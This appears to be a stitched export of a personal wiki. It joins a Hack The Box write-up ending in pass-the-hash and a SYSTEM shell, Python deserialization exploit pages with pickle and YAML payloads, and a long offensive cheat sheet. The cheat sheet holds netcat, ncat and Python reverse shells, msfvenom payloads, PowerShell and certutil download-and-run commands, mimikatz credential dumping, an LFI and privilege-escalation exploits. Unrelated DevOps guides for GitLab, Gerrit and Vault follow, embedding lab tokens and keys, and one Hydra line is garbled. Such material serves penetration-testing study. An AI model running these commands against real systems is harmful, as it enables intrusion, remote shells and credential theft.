getTGT.py EGOTISTICAL-BANK.LOCAL/Administrator -hashes :d9485863-------------------ff Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Saving ticket in Administrator.ccache ``` Set an environment variable with ticket file. ```bash export KRB5CCNAME=/home/xnaaro/git_repos/impacket/examples/Administrator.ccache ``` Now added sauna to etc/hosts and exec into the box ```bash $ python3 psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@sauna.EGOTISTICAL-BANK.LOCAL -k -no-pass Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Requesting shares on sauna.EGOTISTICAL-BANK.LOCAL..... [*] Found writable share ADMIN$ [*] Uploading file IIMFVtLs.exe [*] Opening SVCManager on sauna.EGOTISTICAL-BANK.LOCAL..... [*] Creating service QMyO on sauna.EGOTISTICAL-BANK.LOCAL..... [*] Starting service QMyO..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.973] (c) 2018 Microsoft Corporation. All rights reserved. ``` I have system rooted at this point. ```bash C:\Users\Administrator\Desktop>whoami nt authority\system C:\Users\Administrator\Desktop>hostname SAUNA C:\Users\Administrator\Desktop>type root.txt f3ee04965c68257382e31502cc5e881f ``` This was my first windows box, I was a bit lost and not fully understand yet all the steps I did, need to learn more about how kerberos works. Regards # Python Vulnerabilities This section will explain what vulnerabilities are common in python developments, how to exploit and fix them. {% content-ref url="/pages/-M4AMrh3vVZP-XUMnwLa" %} [Data Deserialization](/hacking/index/python-vulnerabilities/data-deserialization) {% endcontent-ref %} ## Vulnerable server For the purpose of learning all this vulnerabilities I've create a vulnerable server that will allow practice and execution of the provided examples, but is better if try to break by yourself googling for information about the technologies or the bugs. To run the service on port ``` docker run --name vuln_server \ --rm -ti -p 80:5000 \ egonzalez90/vuln_python_server:latest ``` Once in the main page, browse through the menu and try to get the flag at `/root/flag` exploiting the different techniques. Other command and files can also be executed, just be careful if mount other volumes in the container. Server source code: Happy hacking and fixing vulnerabilities ;) # Data Deserialization ## What is data serialization? Data serialization is the process to take some python object and transform into structured data that can be consumed by different backend technologies. Deserialization is the opposite way of serialization, is the process of taking data structured and transform into an object to be shared through different phases of the code. Is commonly used by backend services to transport and manage data through different classes, libraries, update information about the object attributes and finally transform into structured data to be sent into a database, storage service or represented in a REST API. Some of the most common data structure formats used are: * json * yaml * xml * pickle * csv ## Vulnerabilities If the data format and the development methods used are able to evaluate python code from the data, an attacker may be able to inject it's python object and execute it in the backend service. Possibly allowing remote shells or information disclosure. {% content-ref url="/pages/-M4ANIkNsojZAX276Swv" %} [Pickle](/hacking/index/python-vulnerabilities/data-deserialization/pickle) {% endcontent-ref %} {% content-ref url="/pages/-M4AN2a-E8wG3uN2zYY7" %} [YAML](/hacking/index/python-vulnerabilities/data-deserialization/yaml) {% endcontent-ref %} {% content-ref url="/pages/-M4ANGKgx23UfHt-W1EL" %} [XML](/hacking/index/python-vulnerabilities/data-deserialization/xml) {% endcontent-ref %} # Pickle ## Exploitation The example below is a vulnerable pickle code that can be exploited. ``` import pickle # Input can be base64 encoded of a file with it's content user_input = "Y3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgL2V0Yy9wYXNzd2QnCnAxCnRwMgpScDMKLg==" pickle.loads(base64.b64decode(user_input)) ``` If an attacker is able to create a python object with a shellcode in it's \_\_reduce\_\_ function, pickle will execute the shellcode. This vulnerability is present in the pickle.loads() function. The following code is an exploit example to the pickle vulnerability. ``` import pickle shellcode = 'cat /etc/passwd' class Exploit(object): def __reduce__(self): return (os.system, (shellcode, )) exploit = pickle.dumps(Exploit()) print(base64.b64encode(exploit).decode()) ``` ## Fix Unfortunately there is no remediation to this issue other than only use trusted data inputs. # XML ## Exploitation The example below is a backend code vulnerable to xml code injection ``` from xml.dom.pulldom import parseString from xml.sax import make_parser from xml.sax.handler import feature_external_ges # This 2 only in python 3 to allow external sources parser = make_parser() parser.setFeature(feature_external_ges, True) doc = parseString(input, parser=parser) for event, node in doc: doc.expandNode(node) return(node.toxml()) ``` XML payload used to exploit ``` ]> &xxe; ``` ## Fix In python 2 the fix is do not allow untrusted sources such as user inputs or random file uploads. In python 3, the library introduced fixes to many security issues and the external sources need to be enabled explicitly as a new parser, avoid that. # YAML ## Exploitation The example below is a vulnerable YAML code that can be exploited. #### Python 2 ``` import yaml # Input can be whater text or a file with this content yaml.load(input) ``` #### Python 3 In Python 3, the default loader changed to a safe Loader, and to exploit this vulnerability should be enable UnsafeLoader explicitly. ``` import yaml # Input can be whater text or a file with this content yaml.load(input, Loader=yaml.UnsafeLoader) ``` Example payload to exploit this vulnerability in a file sample.yaml os a direct input if allowed. ``` !!python/object/apply:os.system ["cat /etc/passwd"] ``` ## Fix Fixing this vulnerability is relatively easy. Replace the usage of `yaml.load()` function with `yaml.safe_load()` In Python 3, `yaml.load()` uses as default data Loader `FullLoader` which avoids code execution. # Hacking cheatsheet Hacking command list ### Netcat Connect to port ``` nc -nv 192.168.1.10 110 ``` Bind port and connect to: ``` nc -nlvp 4444 nc -nv 192.168.1.10 4444 ``` Copy files ``` nc -nlvp 4444 > dest-file nc -nv 192.168.1.10 4444 < local-file ``` Bind shell and remote execution ``` nc -nlvp 4444 -e cmd.exe nc -nv 192.168.1.10 4444 ``` Reverse shell ``` nc -nlvp 4444 nc -nv 192.168.1.10 4444 -e /bin/bash ``` Scan ports ``` nc -nvv -w 1 -z 192.168.1.10 3388-3390 ``` ### Ncat Bind shell SSL with allow IP address ``` ncat --exec cmd.exe --allow 192.168.1.11 -vnl 4444 --ssl ncat -v 192.168.1.10 4444 --ssl ``` Reverse shell SSL ``` ncat -vnl 4444 --ssl ncat -nv 192.168.1.10 4444 --ssl --exec /bin/bash ``` ### Tcpdump Load a .pcap file ``` tcpdump -r file.pcap ``` Filter by source host ``` tcpdump -n src host 172.16.40.10 ``` Filter by destination host ``` tcpdump -n dst host 172.16.40.10 ``` Filter by port ``` tcpdump -n port 80 ``` Print packet data in HEX and ASCI ``` tcpdump -nXX ``` Packets with ACK or PSH flags set ``` tcpdump -A -n 'tcp[13] = 24' ``` Print HEX data on an 1500 MTU card ``` tcpdump -i tap0 -nXX -s 1500 port 110 ``` ### The harvester Search all sources for email ``` theharvester -d domain.com -b all ``` Search employees on linkedin ``` theharvester -d domain.com -b linkedin ``` Search emails and query hosts in shodan ``` theharvester -d domain.com -b bing -h ``` ### host Find name servers ``` host -t ns domain.com ``` Find mail servers ``` host -t mx domain.com ``` Find address and mail servers ``` host domain.com ``` Reverse lookup ``` host 1.2.3.4 ``` Transfer DNS zone ``` host -l domain.com domain-nameserver.com ``` Try all NS DNS zone transfer ``` HOST=host.com; for ns in $(host -t ns $HOST | awk '{print $4}'); do host -l $HOST $ns | grep "has address" ; done ``` ### dnsrecon Try DNS zone transfer ``` dnsrecon -d domain.com -t axfr ``` ### dnsenum Enumerate host in a domain ``` dnsenum domain.com ``` ### Nmap TCP syn/ack scan ``` nmap -sT 10.11.11.123 ``` Scan all ports ``` nmap -sS 1.1.1.1 -p- ``` Identify host in the network (ICMP) ``` nmap -sn -v 10.11.1.1-254 -oG host.txt ``` Scan port 80 on all hosts ``` nmap -p 80 10.11.1.1-254 -oG web-host.txt ``` OS, port, version, traceroute and script scan of top 20 port in a range ``` nmap -sT -A -top-ports=20 10.11.1.1-254 -oG top-ports.txt ``` OS scan ``` nmap -O 10.11.11.123 ``` Service Version scan ``` nmap -sV -sT 10.11.11.123 ``` Script discover nsb and host version ``` nmap 10.11.11.123 -p 139,445 --script smb-os-discovery.nse ``` Script DNS zone transfer ``` nmap --script dns-zone-transfer -p 53 ns2.domain.com ``` Scan for smb services (139-netbios,445-microsoft-ds) ``` nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254 ``` Enum http path ``` nmap -v -p 80 192.168.56.101 --script http-enum.ns ``` ### SMB Discover SMB hosts in a network, get IP, NetBIOS name and users ``` nbtscan -r 10.11.1.0/24 ``` Discover SMB host info ``` enum4linux -a 10.11.1.227 ``` Search specific vulnerability ``` nmap -v -p139,445 --script smb-vuln-ms08-067 --script-args=unsafe=1 10.13.10.4 ``` Enumerate shares ``` nmap --script smb-enum-shares 10.13.10.4 -p139,445 -T4 ``` Map smb shares ``` smbmap -H 10.14.15.16 -u guest ``` Mount share ``` mount -t cifs -o vers=1.0,username=guest,password="" //10.11.12.13/wwwroot /tmp/path ``` ### SMTP Connect smtp ``` nc -nv 192.168.56.101 25 # Check if user exists VRFY root ``` ### SNMP * Port: 161 * Type: UDP Scan strings \[community, public, manager, etc] ``` onesixtyone -c snmp_strings.txt 127.0.0.1 ``` Enumerate MIB tree ``` snmpwalk -c public -v1 127.0.0.1 ``` Enumerate some SMTP OID ``` snmpwalk -c ``` ### msfvenom PHP reverse shell ``` msfvenom -p php/reverse_php LHOST=10.11.0.49 LPORT=443 -f raw > shell.php ``` Windows bind port (No firewall enabled) ``` msfvenom -p windows/shell_bind_tcp R LPORT=4446 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" ``` Microsoft ASP .net reverse shell ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.49 LPORT=4445 -f asp > shell.asp ``` Create windows executable ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.49 LPORT=8080 -f exe -e x86/shikata_ga_nai -i 9 -o httpd.exe ``` ### GCC / compilation Regular compilation ``` gcc -o OpenFuck 47080.c -lcrypto ``` Cross compile x86 in x86\_64 host ``` gcc -Wall -o -m32 -march=i686 -Wl,--hash-style=both gcc -m32 -Wl,--hash-style=both -o udev udev.c ``` ### Nikto Analise web with default settings ``` nikto -host http://10.11.1.10 ``` ### dirb Scan web service directories and files ``` dirb http://192.168.1.10 ``` Scan non recursively, non show attempts and bigger words list ``` dirb http://192.168.1.10 /usr/share/dirb/wordlists/big.txt -r -S ``` ### FTP Non interactive FTP download from windows ``` echo open 10.11.0.49 21 > ftp.txt echo USER xnaaro >> ftp.txt echo 12345>> ftp.txt echo bin >> ftp.txt echo GET wget.exe >> ftp.txt echo bye >> ftp.txt ftp -v -n -s:ftp.txt ``` ### Mimikatz Non interactive hash dump ``` mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit ``` ### Webserver Create a python webserver ``` python -m SimpleHTTPServer 80 ``` ## NoSQLmap ``` python nosqlmap.py --attack 2 --victim host.name --webPort 80 --uri / --httpMethod POST --postData username,test_user,password,test_password,login,login --injectedParameter 3 --injectSize 4 --injectFormat 2 --savePath output.log --verb ON ``` ### NoSQl user/pass enum ``` # Git repository: https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration python3 nosqli_enumeration.py -u http://localhost/index.php -up email -pp password -ep password -m POST ``` ### Searchsploit Search exploit ``` searchsploit ``` See exploit code ``` searchsploit -x /path/exploit ``` Copy exploit current location ``` searchsploit -m path/exploit ``` ### John the ripper Merge passwd and shadow files ``` unshadow /etc/passwd /etc/shadow > unshadow.txt ``` Crack passwords ``` john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadow_pass.txt ``` Crack SSH key passphrase ``` /usr/share/john/ssh2john.py id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash ``` Mutate cewl dictionary ``` john --wordlist=cewl_words.txt --rules --stdout > mutated_words ``` ### hashcat Crack linux passwords ``` hashcat -m 1800 -O passwd.hash /usr/share/wordlists/rockyou.txt --force ``` ### File inclusion LFI example ``` http://10.12.13.14/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00 ``` ### Shells Python interactive bash shell ``` python -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm && export SHELL=bash ``` Scape restricted shell: `-rbash: /usr/bin/python: restricted: cannot specify '/' in command names` ``` BASH_CMDS[a]=/bin/sh;a export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin ``` Python reverse shell ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.49",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' ``` ### Mysql Non interactive queries ``` mysql -u -p -D otrs -e "show databases;" ``` ### Robots.txt Crawl robots txt as a search engine agent ``` curl --user-agent Googlebot http://10.11.12.13/robots.txt -v ``` ### Hydra Generate passwds from web words ``` cewl http://10.11.12.13 -m 2 -w output ``` Brute force logging ``` hydra -L usernames.txt -P passwords.txt ":Action=&User=^USER^&Password=^PASS^: nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt" ``` ### Downloads Download file with powershell * Option 1 ``` echo (New-Object System.Net.WebClient).DownloadFile("http://10.11.0.49/wget.exe", "wget.exe") > wget.ps1 powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 ``` * Option 2 ``` PowerShell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.49/wget.exe','wget.exe') ``` Non interactive download ``` echo $storageDir = $pwd > wget.ps1 echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://10.11.0.49/wget.exe" >>wget.ps1 echo $file = "wget.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1 powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 ``` Download file with certutil ``` certutil -urlcache -split -f "http://10.11.0.49/wget.exe" wget.exe ``` ### Windows exploit suggester Copy systeminfo to local host ``` ./windows-exploit-suggester.py --database 2019-11-29-mssb.xls --systeminfo /tmp/systeminfo ``` ### Well know exploits * Ubuntu 11 - CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) * Windows compiled exploits repo ## Common vulnerabilities ### vsFTPD 2.3.4 Exploit and reverse shell ``` python3 vsftpd_234_exploit.py 192.168.56.101 21 "sh -c 'nc -nv 192.168.56.1 44444 -e /bin/bash > /dev/null 2>&1 &'" ``` ### Windows XP SP1 priv escalation ``` sc config upnphost binpath= "C:\Inetpub\Scripts\nc.exe 10.11.0.49 10000 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost net start upnphost ``` # Index This section contains Docker, Ansible and DevOps related posts {% content-ref url="/pages/PlFsh9NkkQrN3MgBWfPD" %} [Gitlab CI minikube development environment](/devsecops/index/gitlab-ci-minikube-development-environment) {% endcontent-ref %} {% content-ref url="/pages/rn9U1LDDop2vxbXVC9TT" %} [Gerrit review minikube](/devsecops/index/gerrit-review-minikube) {% endcontent-ref %} {% content-ref url="/pages/d4BiEkCYu9t4gRwzpdBA" %} [Gerrit and gitlab replication and CI job hooks on k8s](/devsecops/index/gerrit-and-gitlab-replication-and-ci-job-hooks-on-k8s) {% endcontent-ref %} {% content-ref url="/pages/KuK9sWyCHWnCXcPSbkZ8" %} [Vault integration with Gitlab CI](/devsecops/index/vault-integration-with-gitlab-ci) {% endcontent-ref %} {% content-ref url="/pages/fivmSkcdP9i8sgWozKya" %} [Gitlab CI template for DefectDojo](/devsecops/index/gitlab-ci-template-for-defectdojo) {% endcontent-ref %} {% content-ref url="/pages/6bDL3DUitVUfulvNzqGv" %} [Falco real time runtime thread detection on k8s](/devsecops/index/falco-real-time-runtime-thread-detection-on-k8s) {% endcontent-ref %} {% content-ref url="/pages/QYTxJdXHB6J457gpCcmj" %} [Zarf - Airgap deployment in kubernetes](/devsecops/index/zarf-airgap-deployment-in-kubernetes) {% endcontent-ref %} {% content-ref url="/pages/3pqt9RVJIqWLMODvXzKr" %} [OWASP Dependency-track](/devsecops/index/owasp-dependency-track) {% endcontent-ref %} {% content-ref url="/pages/-M1SJvTrBpcDa48u5Rjc" %} [OpenDaylight in a Docker](/devsecops/index/opendaylight-in-a-docker) {% endcontent-ref %} {% content-ref url="/pages/-M1SLI46bDLzp8VfFm7O" %} [To conditional or to skip, that's the Ansible question](/devsecops/index/to-conditional-or-to-skip-thats-the-ansible-question) {% endcontent-ref %} {% content-ref url="/pages/-M1SKrkbXw8O1cfD6obt" %} [Spacewalk Red Hat Satellite v5 in a Docker container PoC](/devsecops/index/spacewalk-red-hat-satellite-v5-in-a-docker-container-poc) {% endcontent-ref %} {% content-ref url="/pages/-M1SHdlXz-FSM8trdheM" %} [Ansible INI file module](/devsecops/index/ansible-ini-file-module) {% endcontent-ref %} # Gitlab CI minikube development environment Gitlab installation on minikube for CI testing Install minikube ``` curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 sudo install minikube-linux-amd64 /usr/local/bin/minikube && rm minikube-linux-amd64 ``` Create minikube machine ``` minikube start --cpus 4 --memory 8192 --addons ingress ``` Install gitlab helm repository ``` helm repo add gitlab https://charts.gitlab.io helm repo update ``` Optional install traefik for git clone through ssh ``` helm repo add traefik https://traefik.github.io/charts helm repo update helm install traefik traefik/traefik ``` Install Gitlab Helm charts ``` helm dependency update helm upgrade --install gitlab gitlab/gitlab \ --timeout 600s \ --set global.ingress.provider=traefik \ --set certmanager-issuer.email=me@localhost \ --set global.hosts.domain=$(minikube ip).nip.io \ --set global.hosts.externalIP=$(minikube ip) \ -f https://gitlab.com/gitlab-org/charts/gitlab/raw/master/examples/values-minikube.yaml ``` Installation may take for a while, if not too much resources some pods will be restarting a couple of times. Wait until the webserver is running at gitlab main page `https://$(minikube ip)` Default login user is `root` and password can be get with the following command ``` kubectl get secret gitlab-gitlab-initial-root-password -ojsonpath='{.data.password}' | base64 --decode ; echo ``` ### Gitlab runner With the default gitlab helm chart a runner is already installed, but if you wish to add more runners or used a custom values follow the following steps. Generate `values.yml` with gitlab runner contents. Registration token can be made in the admin user interface at `https://$(minikube ip)/admin/runners/new` Certificate is created by default with the helm deployment name, otherwise download and create a secret or find whats the secret name in k8s ```yaml gitlabUrl: https://gitlab.192.168.49.2.nip.io runnerRegistrationToken: "glrt-t1_P1oviNSAj83aiiKXr4UQ" rbac: create: true runners: privileged: true certsSecretName: gitlab-wildcard-tls-chain ``` Deploy gitlab runner helm ``` helm install -f values.yml gitlab-runner gitlab/gitlab-runner ``` Create a file`.gitlab-ci.yml` in a new project to verify CI jobs ```yaml stages: - build image-build: stage: build image: name: gcr.io/kaniko-project/executor:v1.23.2-debug entrypoint: [""] script: - | cat < Dockerfile FROM alpine:latest RUN echo "Hello World from CI" EOF - /kaniko/executor --context "${CI_PROJECT_DIR}" --dockerfile "${CI_PROJECT_DIR}/Dockerfile" --destination "${CI_REGISTRY_IMAGE}:${CI_COMMIT_SHORT}" --no-push ``` # Gerrit review minikube Deploy gerrit on kubernetes Download git repository with helm charts ``` git clone https://gerrit.googlesource.com/k8s-gerrit cd k8s-gerrit ``` Create namespace ``` kubectl create ns gerrit-operator ``` Update helm dependencies ``` helm dependency build helm-charts/gerrit-operator/ ``` Install k8s operator ``` helm -n gerrit-operator install gerrit-operator helm-charts/gerrit-operator/ ``` Install NFS ``` kubectl create ns nfs helm repo add nfs-ganesha-server-and-external-provisioner \ https://kubernetes-sigs.github.io/nfs-ganesha-server-and-external-provisioner/ helm upgrade \ --install nfs \ nfs-ganesha-server-and-external-provisioner/nfs-server-provisioner \ -n nfs ``` Create gerrit namespace and sample secrets ``` kubectl create ns gerrit kubectl apply -f Documentation/examples/gerrit.secret.yaml ``` Create single gerrit cluster ``` kubectl apply -f Documentation/examples/1-gerritcluster.yaml ``` Create gerrit-ingress.yaml file to generate an ingress to the Web UI. Host IP is the output of minikube ip command ```yaml cat << EOF > gerrit-ingress.yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: gerrit-ingress spec: rules: - host: "gerrit.$(minikube ip).nip.io" http: paths: - path: / pathType: Prefix backend: service: name: gerrit-service port: number: 80 EOF ``` Create the ingress ``` kubectl apply -f gerrit-ingress.yaml -n gerrit ``` Create IngressRouteTcp to allow git through SSH ```yaml apiVersion: traefik.containo.us/v1alpha1 kind: IngressRouteTCP metadata: labels: app: gerrit-service name: gerrit-service namespace: gerrit spec: entryPoints: - gerrit-service routes: - match: HostSNI(`*`) services: - name: gerrit-service namespace: gerrit port: 29418 ``` # Gerrit and gitlab replication and CI job hooks on k8s Integrate gitlab and gerrit replication and execute CI pipelines Create repos at both gitlab and gerrit Generate a token (admin) in gitlab (not sure if this is needed at all since the hook is with a different token) Create secret for gerrit replication ``` secure.txt [remote "gitlab"] password = "GY50BPkhK1YVV4ND0PSPQAhPJ7FqIsc4EI7YveoivLVI00tqj7bYiIYYbot0ZovF" cat secure.txt| base64 ; echo W3JlbW90ZSAiZ2l0bGFiIl0KcGFzc3dvcmQgPSAiR1k1MEJQa2hLMVlWVjRORDBQU1BRQWhQSjdGcUlzYzRFSTdZdmVvaXZMVkkwMHRxajdiWWlJWVlib3QwWm92RiIK ``` Contents of the secret yaml file, replace with your own secrets ```yaml apiVersion: v1 kind: Secret metadata: name: gerrit-secure-config namespace: gerrit labels: app: gerrit data: ssh_host_ecdsa_key: | LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFhQUFBQUJObFkyUnpZUwoxemFHRXlMVzVwYzNSd01qVTJBQUFBQ0c1cGMzUndNalUyQUFBQVFRUmNZWUNCZnVxczd3d2Q2amN5a0J4NXZ0QjRrSkp2CmxtbnlMS2EwbEZ1L1BpbVNUbmdUcXBRM3d5bHFsWEtLZ2ZsbzJyWkQzRCtkZGRFNUNxRXBTZDVOQUFBQXNFUGsvY0ZENVAKM0JBQUFBRTJWalpITmhMWE5vWVRJdGJtbHpkSEF5TlRZQUFBQUlibWx6ZEhBeU5UWUFBQUJCQkZ4aGdJRis2cXp2REIzcQpOektRSEhtKzBIaVFrbStXYWZJc3ByU1VXNzgrS1pKT2VCT3FsRGZES1dxVmNvcUIrV2phdGtQY1A1MTEwVGtLb1NsSjNrCjBBQUFBaEFLZC9IY3g4RlZkM3JPQ2J4ODFmWUxYeGFKOWc2dk1QWXRNdUFRb3E2YkI0QUFBQUVXczRjMmRsY25KcGRDMWwKZUdGdGNHeGxBUUlEQkFVRwotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0= ssh_host_ecdsa_key.pub: | ZWNkc2Etc2hhMi1uaXN0cDI1NiBBQUFBRTJWalpITmhMWE5vWVRJdGJtbHpkSEF5TlRZQUFBQUlibWx6ZEhBeU5UWUFBQUJCQkZ4aGdJRis2cXp2REIzcU56S1FISG0rMEhpUWttK1dhZklzcHJTVVc3OCtLWkpPZUJPcWxEZkRLV3FWY29xQitXamF0a1BjUDUxMTBUa0tvU2xKM2swPSBrOHNnZXJyaXQtZXhhbXBsZQ== secure.txt: | W3JlbW90ZSAiZ2l0bGFiIl0KcGFzc3dvcmQgPSAiSDdaY3lyWEhJa1ZXMHZCcElxTjFGVVhXRmhnQ2Y5alM3aTdCNEdzUzFKYWJuSTdmcTZWblpvWXhmb1I4dVV3biIK type: Opaque ``` Update cluster deployment with the follow config files and include replication plugin ```ini plugins: - name: download-commands - name: delete-project - name: replication configFiles: gitlab.config: |- [gitlab] url = https://gitlab.192.168.39.219.nip.io gerritUser = admin token = glpat-kvN7HW9x5RFjntkhw-zC recheckCommand = recheck replication.config: |- [remote "gitlab"] projects = testrepo url = https://root@gitlab.192.168.39.219.nip.io/root/${name}.git push = +refs/heads/*:refs/heads/* push = +refs/tags/*:refs/tags/* timeout = 30 threads = 3 mirror = true replicatePermissions = false rescheduleDelay = 15 [replication] lockErrorMaxRetries = 5 maxRetries = 5 ``` Create .gitreview for new repo, example for https, if have ssh better ``` [gerrit] host=gerrit.192.168.39.219.nip.io port=80 project=root/testrepo.git defaultbranch=master ``` Configure remote if http errors ```ini [remote "gerrit"]$ url = http://admin@gerrit.192.168.39.219.nip.io/a/testrepo$ fetch = +refs/heads/*:refs/remotes/origin/*$ ``` WIP: Configure ssh key to gerrit push to gitlab (NOTE: pass ssh config as volume) ``` kubectl exec -n gerrit gerrit-0 -- /bin/sh -c 'echo "-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn ... hKtHHsTTdhvlQDAAAAHnJvY2t5QG5zMzEwMzc2NC5pcC01NC0zNy04NC5ldQECAwQ= -----END OPENSSH PRIVATE KEY-----" > /home/gerrit/.ssh/id_rsa' ``` ``` kubectl exec -n gerrit gerrit-0 -- /bin/sh -c "echo 'StrictHostKeyChecking no' > /home/gerrit/.ssh/config" ``` Replication logs ``` kubectl exec -n gerrit gerrit-0 -- tail -f -n100 /var/gerrit/logs/replication_log ``` For the hooks to work firsts create a secret with the code of the hooks, here is an example of the hook with curl. Do any language you want. Get the token at `https://gitlab.192.168.39.102.nip.io/root/test/-/settings/ci_cd#js-pipeline-triggers` ``` cat hook.txt #!/bin/sh curl -k -s -X POST --fail \ -F token=glptt-f56abb7c111f3a12cb832676170594397fcddd40 \ -F ref=main https://gitlab.192.168.39.102.nip.io/api/v4/projects/1/trigger/pipeline ``` Base64 the script ``` cat hook.txt | base64 ; echo ``` Copy contents of the base64 encoded object and place it into a secret, name should match one of the gerrit supported hooks name, in this case comment-added, change-merged or all the supported hooks you want to add ``` apiVersion: v1 kind: Secret metadata: name: hooks namespace: gerrit labels: app: gerrit data: comment-added: | IyEvYmluL3NoCmN1cmwgLWsgLXMgLVggUE9TVCAtLWZhaWwgLUYgdG9rZW49Z2xwdHQtZjU2YWJiN2MxMTFmM2ExMmNiODMyNjc2MTcwNTk0Mzk3ZmNkZGQ0MCAtRiByZWY9bWFpbiBodHRwczovL2dpdGxhYi4xOTIuMTY4LjM5LjEwMi5uaXAuaW8vYXBpL3Y0L3Byb2plY3RzLzEvdHJpZ2dlci9waXBlbGluZQo= type: Opaque ``` Apply the secret and configure the cluster yaml definition. Add a new plugin with the hooks 
- name: hooks
  data:
    secretRef: hooks
    executable: true
Add into gerrit.config the hook path ```ini [hooks] path = /var/mnt/data/hooks ``` Apply the cluster change, wait for the pod to spawn and test the integration adding a comment in the gerrit review patch. In gitlab a new pipeline will be triggered # Vault integration with Gitlab CI Vault integration with Gitalb CI to retrieve secrets in job pipelines Installation is done in kubernetes, if already have gitlab and vault running ignore helm and kubectl steps. Install consul helm (optional if doing allinone with minikube) ``` helm repo add hashicorp https://helm.releases.hashicorp.com helm repo update helm install consul hashicorp/consul ``` Install vault ``` helm install vault hashicorp/vault ``` Verify vault installation, for now vault is not initialized so pods are 0/1 ``` kubectl exec vault-0 -- vault status Key Value --- ----- Seal Type shamir Initialized false Sealed true Total Shares 0 Threshold 0 Unseal Progress 0/0 Unseal Nonce n/a Version 1.18.1 Build Date 2024-10-29T14:21:31Z Storage Type file HA Enabled false command terminated with exit code 2 ``` Initialize vault ``` kubectl exec vault-0 -- vault operator init -key-shares=1 -key-threshold=1 -format=json > cluster-keys.json ``` ``` cat cluster-keys.json { "unseal_keys_b64": [ "EDRPrduCa/VZbBKYEChAk82FxGBfpTw8rYecy24UrwM=" ], "unseal_keys_hex": [ "10344faddb826bf5596c129810284093cd85c4605fa53c3cad879ccb6e14af03" ], "unseal_shares": 1, "unseal_threshold": 1, "recovery_keys_b64": [], "recovery_keys_hex": [], "recovery_keys_shares": 0, "recovery_keys_threshold": 0, "root_token": "hvs.Uqwd3Pb6kgi4sMD4L0bnBqRj" } ``` Note the root\_token for the initial web ui login Unseal vault ``` kubectl exec vault-0 -- vault operator unseal $(cat cluster-keys.json | jq -r ".unseal_keys_b64[]") Key Value --- ----- Seal Type shamir Initialized true Sealed false Total Shares 1 Threshold 1 Version 1.18.1 Build Date 2024-10-29T14:21:31Z Storage Type file Cluster Name vault-cluster-27427646 Cluster ID b4f4ad08-c258-93b4-c368-3b182ffab753 HA Enabled false ``` Repeat the same for the other vault-\* pods if existing Exec into the pod to initialize vault config, use root token from the vault keys file we generated ``` kubectl exec --stdin=true --tty=true vault-0 -- /bin/sh vault login ``` Enable kv-v2 engine ``` vault secrets enable -path=secret kv-v2 Success! Enabled the kv-v2 secrets engine at: secret/ ``` Create demo password ``` vault kv put secret/gitlab/auth username="demo" password="testpass" ===== Secret Path ===== secret/data/gitlab/auth ======= Metadata ======= Key Value --- ----- created_time 2024-12-26T13:04:34.241453844Z custom_metadata deletion_time n/a destroyed false version 1 ``` Verify secret retrieval ``` vault kv get secret/gitlab/auth ===== Secret Path ===== secret/data/gitlab/auth ======= Metadata ======= Key Value --- ----- created_time 2024-12-26T13:04:34.241453844Z custom_metadata deletion_time n/a destroyed false version 1 ====== Data ====== Key Value --- ----- password testpass username demo ``` Create ingress for web access ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: vault-ingress spec: rules: - host: "vault.192.168.39.66.nip.io" http: paths: - path: / pathType: Prefix backend: service: name: vault port: number: 8200 ``` ``` kubectl apply -f vault-ingress.yaml ``` ### Gitlab CI integration Enable jwt ``` vault auth enable jwt Success! Enabled jwt auth method at: jwt/ ``` Download certificates from gitlab if are self signed ``` openssl s_client -showcerts \ -connect gitlab.192.168.39.66.nip.io:443 \ -servername gitlab.192.168.39.66.nip.io < /dev/null 2>/dev/null \ | openssl x509 -outform PEM > gitlab.crt ``` Generate jwt connection to gitlab ``` vault write -tls-skip-verify auth/jwt/config \ oidc_discovery_url="https://gitlab.192.168.39.66.nip.io" \ bound_issuer="https://gitlab.192.168.39.66.nip.io" \ oidc_discovery_ca_pem="$(cat gitlab.crt)" \ jwks_ca_pem="$(cat ./gitlab.crt)" 